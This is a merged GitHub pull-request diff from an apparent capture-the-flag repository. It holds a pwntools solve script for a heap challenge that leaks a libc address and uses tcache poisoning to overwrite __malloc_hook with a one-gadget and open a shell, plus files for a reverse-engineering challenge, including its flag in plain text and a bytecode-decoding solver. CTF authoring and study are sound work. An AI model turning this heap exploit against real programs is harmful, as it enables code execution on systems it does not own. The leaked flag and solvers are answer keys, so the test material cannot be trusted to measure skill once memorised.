Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
232 changes: 116 additions & 116 deletions Binary Exploitation/BeeChat/src/solve.py
Original file line number Diff line number Diff line change
@@ -1,116 +1,116 @@
#!/usr/bin/env python3
from pwn import *
elf = ELF("./chall")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = elf
context.log_level = "info"
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
# --- Exploit Configuration ---
LEAK_CHUNK_SIZE = 0x90
POISON_CHUNK_SIZE = 0x18
# --- GDB Script ---
gdb_script = """
b *main
continue
""".format(**locals())
# --- Process/Remote Connection ---
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([ld.path, elf.path] + argv, gdbscript=gdb_script, *a, **kw)
elif args.REMOTE:
return remote("localhost", 31346)
else:
return process([ld.path, elf.path] + argv, *a, **kw)
# --- Helper Functions for New Menu ---
def send_choice(choice):
r.sendlineafter(b"> ", str(choice).encode())
def create_user(name):
send_choice(1)
r.sendlineafter(b"Username: ", name)
def switch_user(user_id):
send_choice(2)
r.sendlineafter(b"Enter User ID to switch to: ", str(user_id).encode())
def send_message(to_id, size, content):
send_choice(3)
r.sendlineafter(b"Send to user ID: ", str(to_id).encode())
r.sendlineafter(b"Size of message: ", str(size).encode())
r.sendafter(b"Content: ", content.ljust(size, b'\0'))
def edit_message(msg_id, new_content):
send_choice(4)
r.sendlineafter(b"Message ID to edit: ", str(msg_id).encode())
r.sendafter(b"New content: ", new_content)
def broadcast_message(msg_id):
send_choice(5)
r.sendlineafter(b"Message ID to broadcast: ", str(msg_id).encode())
def edit_broadcast_message(bcast_idx, new_content):
send_choice(6)
r.sendlineafter(b"Broadcast Index to edit: ", str(bcast_idx).encode())
r.sendafter(b"New content for broadcast message: ", new_content)
def view_broadcasts():
send_choice(7)
def view_conversation(partner_id):
send_choice(8)
r.sendlineafter(b"View conversation with user ID: ", str(partner_id).encode())
def main():
global r
r = start()
create_user(b"UserA")
create_user(b"UserB")
# LEAK LIBC ADDR
switch_user(0)
for i in range(8):
send_message(1, LEAK_CHUNK_SIZE, f"libc_leak_{i}".encode())
broadcast_message(7)
for i in range(8):
edit_message(i, b"A" * (LEAK_CHUNK_SIZE + 0x10))
view_broadcasts()
r.recvuntil(b"Original Msg ID: 7")
r.recvuntil(b"Content: ")
leak_addr = u64(r.recvline().strip().ljust(8, b'\x00'))
libc.address = leak_addr - (libc.symbols['__malloc_hook'] + 0x70)
log.success(f"LIBC : {hex(libc.address)}")
# EXPLOIT : TCACHE POISONING
one_gadget = libc.address + 0x4f302
send_message(1, POISON_CHUNK_SIZE, b"poison_A")
send_message(1, POISON_CHUNK_SIZE, b"poison_B")
broadcast_message(9)
edit_message(9, b"B" * (POISON_CHUNK_SIZE + 0x10))
edit_broadcast_message(1, p64(libc.sym['__malloc_hook']))
send_message(1, POISON_CHUNK_SIZE, b"wasted")
send_message(1, POISON_CHUNK_SIZE, p64(one_gadget))
r.sendlineafter(b"> ", b"1")
r.sendline(b"cat flag.txt")
r.interactive()
if __name__ == "__main__":
main()
#!/usr/bin/env python3

from pwn import *

elf = ELF("./chall")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = elf
context.log_level = "info"
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]

# --- Exploit Configuration ---
LEAK_CHUNK_SIZE = 0x90
POISON_CHUNK_SIZE = 0x18

# --- GDB Script ---
gdb_script = """
b *main
continue
""".format(**locals())

# --- Process/Remote Connection ---
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([ld.path, elf.path] + argv, gdbscript=gdb_script, *a, **kw)
elif args.REMOTE:
return remote("31.97.187.222", 31346)
else:
return process([ld.path, elf.path] + argv, *a, **kw)

# --- Helper Functions for New Menu ---
def send_choice(choice):
r.sendlineafter(b"> ", str(choice).encode())

def create_user(name):
send_choice(1)
r.sendlineafter(b"Username: ", name)

def switch_user(user_id):
send_choice(2)
r.sendlineafter(b"Enter User ID to switch to: ", str(user_id).encode())

def send_message(to_id, size, content):
send_choice(3)
r.sendlineafter(b"Send to user ID: ", str(to_id).encode())
r.sendlineafter(b"Size of message: ", str(size).encode())
r.sendafter(b"Content: ", content.ljust(size, b'\0'))

def edit_message(msg_id, new_content):
send_choice(4)
r.sendlineafter(b"Message ID to edit: ", str(msg_id).encode())
r.sendafter(b"New content: ", new_content)

def broadcast_message(msg_id):
send_choice(5)
r.sendlineafter(b"Message ID to broadcast: ", str(msg_id).encode())

def edit_broadcast_message(bcast_idx, new_content):
send_choice(6)
r.sendlineafter(b"Broadcast Index to edit: ", str(bcast_idx).encode())
r.sendafter(b"New content for broadcast message: ", new_content)

def view_broadcasts():
send_choice(7)

def view_conversation(partner_id):
send_choice(8)
r.sendlineafter(b"View conversation with user ID: ", str(partner_id).encode())


def main():
global r
r = start()

create_user(b"UserA")
create_user(b"UserB")

# LEAK LIBC ADDR
switch_user(0)
for i in range(8):
send_message(1, LEAK_CHUNK_SIZE, f"libc_leak_{i}".encode())

broadcast_message(7)

for i in range(8):
edit_message(i, b"A" * (LEAK_CHUNK_SIZE + 0x10))

view_broadcasts()
r.recvuntil(b"Original Msg ID: 7")
r.recvuntil(b"Content: ")
leak_addr = u64(r.recvline().strip().ljust(8, b'\x00'))
libc.address = leak_addr - (libc.symbols['__malloc_hook'] + 0x70)

log.success(f"LIBC : {hex(libc.address)}")

# EXPLOIT : TCACHE POISONING
one_gadget = libc.address + 0x4f302
send_message(1, POISON_CHUNK_SIZE, b"poison_A")
send_message(1, POISON_CHUNK_SIZE, b"poison_B")

broadcast_message(9)
edit_message(9, b"B" * (POISON_CHUNK_SIZE + 0x10))

edit_broadcast_message(1, p64(libc.sym['__malloc_hook']))

send_message(1, POISON_CHUNK_SIZE, b"wasted")
send_message(1, POISON_CHUNK_SIZE, p64(one_gadget))

r.sendlineafter(b"> ", b"1")
r.sendline(b"cat flag.txt")

r.interactive()

if __name__ == "__main__":
main()
29 changes: 29 additions & 0 deletions Reverse Engineering/flact-check/challenge.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
name: "Flact Check"
category: Reverse Engineering
description: |-
Yep this is a simple flag checker, no doubt

Author: Lyo

##### DON'T CHANGE
value: 500
type: dynamic
extra:
initial: 500
decay: 30
minimum: 100
##### DON'T CHANGE

flags:
- BEECTF{vM_0p5_kEEp_enc0d3d_byt35_f10w1ng_un71l_V1r7u4l_cmp_un10ck5_h1dd3n_5ignal_gu4rd14n5_57andby4}

tags:
- hard

files:
- dist/flact-check
- dist/dependencies.txt

state: hidden

version: "0.1"
15 changes: 15 additions & 0 deletions Reverse Engineering/flact-check/dist/dependencies.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
Flact-Check Challenge Dependencies
=================================

Runtime libraries (shared):
- FLTK 1.3 stack: libfltk, libfltk_forms, libfltk_images, libfltk_gl
- X11 stack: libX11, libXext, libXt, libxcb (plus common X extensions)
- Fonts: libfontconfig, libfreetype, libexpat
- Image/Compression: libpng, libjpeg, libz
- Runtime: libstdc++, libgcc_s

Tested on:
- Ubuntu 22.04 (x86_64) with default desktop packages

Notes:
- Requires an X11-capable environment (desktop session or X server)
Binary file added Reverse Engineering/flact-check/dist/flact-check
Binary file not shown.
13 changes: 13 additions & 0 deletions Reverse Engineering/flact-check/src/CMakeLists.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
cmake_minimum_required(VERSION 3.16)

project(FlactCheck LANGUAGES CXX)

set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_EXTENSIONS OFF)

find_package(FLTK REQUIRED)
include_directories(${FLTK_INCLUDE_DIR})

add_executable(flact-check src/main.cpp)
target_link_libraries(flact-check PRIVATE ${FLTK_LIBRARIES})
Binary file not shown.
56 changes: 56 additions & 0 deletions Reverse Engineering/flact-check/src/solve.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
#!/usr/bin/env python3

import re
from pathlib import Path


def load_program():
source = Path(__file__).resolve().parent / "src" / "main.cpp"
text = source.read_text()
match = re.search(r"kProgram\s*=\s*\{([^}]*)\};", text, re.S)
if not match:
raise RuntimeError("Unable to locate VM program in main.cpp")
hex_bytes = re.findall(r"0x[0-9a-fA-F]+", match.group(1))
return [int(value, 16) for value in hex_bytes]


def decode(program):
flag_bytes = []
idx = 0
length = len(program)
while idx < length:
seg_len = program[idx]
idx += 1
acc = 0
end = idx + seg_len
while idx < end:
opcode = program[idx]
idx += 1
if opcode == 0x10: # MOV immediate
acc = program[idx]
idx += 1
elif opcode == 0x11: # ADD immediate
acc = (acc + program[idx]) & 0xFF
idx += 1
elif opcode == 0x12: # SUB immediate
acc = (acc - program[idx]) & 0xFF
idx += 1
elif opcode == 0x13: # XOR immediate
acc ^= program[idx]
idx += 1
elif opcode == 0x20: # CMP input (no operand)
continue
else:
raise ValueError(f"Unknown opcode {opcode:#x}")
flag_bytes.append(acc)
return bytes(flag_bytes)


def main():
program = load_program()
flag = decode(program).decode()
print(flag)


if __name__ == "__main__":
main()
Loading